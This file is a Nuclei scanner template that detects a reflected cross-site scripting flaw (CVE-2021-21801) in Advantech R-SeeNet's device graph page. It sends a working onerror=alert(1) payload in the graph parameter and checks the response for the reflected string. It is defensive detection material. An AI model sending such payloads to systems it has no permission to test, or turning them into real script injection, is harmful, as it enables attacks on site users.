nuclei-templates/http/cves/2021/CVE-2021-21801.yaml

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id: CVE-2021-21801
info:
name: Advantech R-SeeNet - Cross-Site Scripting
author: gy741
severity: medium
description: Advantech R-SeeNet contains a cross-site scripting vulnerability in the device_graph_page.php script via the graph parameter. A specially crafted URL by an attacker can lead to arbitrary JavaScript code execution.
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remediation: |
Apply the latest security patches or updates provided by Advantech to fix the XSS vulnerability in the R-SeeNet application.
reference:
- https://talosintelligence.com/vulnerability_reports/TALOS-2021-1272
- https://nvd.nist.gov/vuln/detail/CVE-2021-21801
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-21801
cwe-id: CWE-79
epss-score: 0.83144
epss-percentile: 0.98109
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cpe: cpe:2.3:a:advantech:r-seenet:2.4.12:*:*:*:*:*:*:*
metadata:
max-request: 1
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vendor: advantech
product: r-seenet
tags: cve,cve2021,rseenet,xss,graph
http:
- method: GET
path:
- '{{BaseURL}}/php/device_graph_page.php?graph=%22zlo%20onerror=alert(1)%20%22'
matchers-condition: and
matchers:
- type: word
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part: body
words:
- '"zlo onerror=alert(1) "'
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- 'Device Status Graph'
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4b0a00483046022100e62bc50fe4760bcdff598f785a9c49c09d2a52ace57b4909d7ecd4a08ae1aa0c022100af1bf14c27989f3ce9bef9cf3abbb843c27b9ac49668c21a6823428b407a72e7:922c64590222798bb761d5b6d8e72950